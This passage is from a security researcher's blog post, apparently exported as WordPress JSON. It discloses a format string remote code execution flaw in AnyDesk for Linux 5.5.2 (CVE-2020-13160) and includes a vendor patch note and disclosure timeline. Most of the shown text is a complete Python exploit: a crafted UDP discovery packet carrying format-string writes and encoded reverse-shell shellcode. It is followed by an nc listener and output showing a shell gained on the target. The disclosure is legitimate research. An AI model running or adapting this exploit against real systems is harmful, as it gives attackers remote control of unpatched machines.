class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\n\nimport struct\nimport socket\nimport sys\n\nip = &#039;127.0.0.1&#039;\nport = 50001\n\ndef gen_discover_packet(ad_id, os, hn, user, inf, func):\n  d  = chr(0x3e)+chr(0xd1)+chr(0x1)\n  d += struct.pack(&#039;&gt;I&#039;, ad_id)\n  d += struct.pack(&#039;&gt;I&#039;, 0)\n  d += chr(0x2)+chr(os)\n  d += struct.pack(&#039;&gt;I&#039;, len(hn)) + hn\n  d += struct.pack(&#039;&gt;I&#039;, len(user)) + user\n  d += struct.pack(&#039;&gt;I&#039;, 0)\n  d += struct.pack(&#039;&gt;I&#039;, len(inf)) + inf\n  d += chr(0)\n  d += struct.pack(&#039;&gt;I&#039;, len(func)) + func\n  d += chr(0x2)+chr(0xc3)+chr(0x51)\n  return d\n\n\nshellcode =  b&quot;&quot;\nshellcode += b&quot;\\x48\\x31\\xc9\\x48\\x81\\xe9\\xf6\\xff\\xff\\xff\\x48&quot;\nshellcode += b&quot;\\x8d\\x05\\xef\\xff\\xff\\xff\\x48\\xbb\\x59\\x88\\xc6&quot;\nshellcode += b&quot;\\x9c\\x5f\\xfe\\x71\\x38\\x48\\x31\\x58\\x27\\x48\\x2d&quot;\nshellcode += b&quot;\\xf8\\xff\\xff\\xff\\xe2\\xf4\\x33\\xa1\\x9e\\x05\\x35&quot;\nshellcode += b&quot;\\xfc\\x2e\\x52\\x58\\xd6\\xc9\\x99\\x17\\x69\\x39\\x81&quot;\nshellcode += b&quot;\\x5b\\x88\\xd7\\xc0\\x20\\xfe\\x71\\x39\\x08\\xc0\\x4f&quot;\nshellcode += b&quot;\\x7a\\x35\\xee\\x2b\\x52\\x73\\xd0\\xc9\\x99\\x35\\xfd&quot;\nshellcode += b&quot;\\x2f\\x70\\xa6\\x46\\xac\\xbd\\x07\\xf1\\x74\\x4d\\xaf&quot;\nshellcode += b&quot;\\xe2\\xfd\\xc4\\xc6\\xb6\\xca\\x17\\x3b\\xe1\\xa8\\xb3&quot;\nshellcode += b&quot;\\x2c\\x96\\x71\\x6b\\x11\\x01\\x21\\xce\\x08\\xb6\\xf8&quot;\nshellcode += b&quot;\\xde\\x56\\x8d\\xc6\\x9c\\x5f\\xfe\\x71\\x38&quot;\n\nprint(&#039;sending payload ...&#039;)\np = gen_discover_packet(4919, 1, &#039;\\x85\\xfe%1$*1$x%18x%165$ln&#039;+shellcode, &#039;\\x85\\xfe%18472249x%93$ln&#039;, &#039;ad&#039;, &#039;main&#039;)\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.sendto(p, (ip, port))\ns.close()\nprint(&#039;reverse shell should connect within 5 seconds&#039;)\n<\/pre><\/div>\n\n\n<p>Before running the exploit we start a <code>nc<\/code> listener on port 4444:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ nc -lvp 4444\nListening on &#x5B;0.0.0.0] (family 0, port 4444)\n<\/pre><\/div>\n\n\n<p>Now we run the exploit script:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ .\/final_exploit.py \nsending payload ...\nreverse shell should connect within 5 seconds\n<\/pre><\/div>\n\n\n<p>After a few seconds the front-end updates its online states, which triggers the exploit. The shellcode is executed and we receive a reverse shell:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\nConnection from localhost 52000 received!\nid\nuid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)\n<\/pre><\/div>\n\n\n<h1 id=\"conclusion\">Conclusion<\/h1>\n\n\n\n<p>By sending a single UDP packet to the target machine we are able to successfully exploit the discovered format string vulnerability to gain Remote Code Execution. In order to achieve this we triggered the vulnerability twice: once to write the address of the <code>GOT<\/code> entry of the <code>time<\/code> function to the stack and a second time to write the heap address of our shellcode to the <code>GOT<\/code> entry using a <code>dynamic field width<\/code>.<\/p>\n\n\n\n<p>Please keep in mind that this is a proof of concept exploit targeting AnyDesk Linux version <code>5.5.2<\/code>. The exploit was developed for <code>Ubuntu 18.04.4 LTS<\/code> at the time of writing. In order to successfully run the exploit against other targets it probably needs to be adjusted.<\/p>\n\n\n\n<p>At last I would like to thank AnyDesk for the immediate and professional reaction. A patch to fix the vulnerability was released only three days after my notification. Also the patch enabled <code>FULL RELRO<\/code> according to my suggestion. This remaps the <code>GOT<\/code> as read-only preventing an attacker from overwriting an entry within the <code>GOT<\/code>.<\/p>\n\n\n\n<p>It is great to see when security is taken seriously.<\/p>\n\n\n\n<p>Thanks for reading the article \ud83d\ude42<\/p>\n\n\n\n<p><strong>Timeline<\/strong><br>18\/02\/20 &#8211; Vendor Notification<br>19\/02\/20 &#8211; Vendor Acknowledgement<br>21\/02\/20 &#8211; Vendor Patch<br>09\/06\/20 &#8211; Public Disclosure<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>One of my goals for this year is to spend a little bit more of my spare time on real world applications. Doing so I took a look at the remote desktop application AnyDesk, which seems to quickly raise in popularity not only because of COVID-19. AnyDesk is available for a variety of operating systems &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=1881\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;AnyDesk UDP Discovery Remote Code Execution (CVE-2020-13160)&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29],"tags":[48,44,43,50,49],"class_list":["post-1881","post","type-post","status-publish","format-standard","hentry","category-article","tag-cve-2020-13160","tag-exploitation","tag-formatstring","tag-fuzzing","tag-rce"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1881"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1881"}],"version-history":[{"count":104,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1881\/revisions"}],"predecessor-version":[{"id":2019,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/1881\/revisions\/2019"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1881"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1881"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1881"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}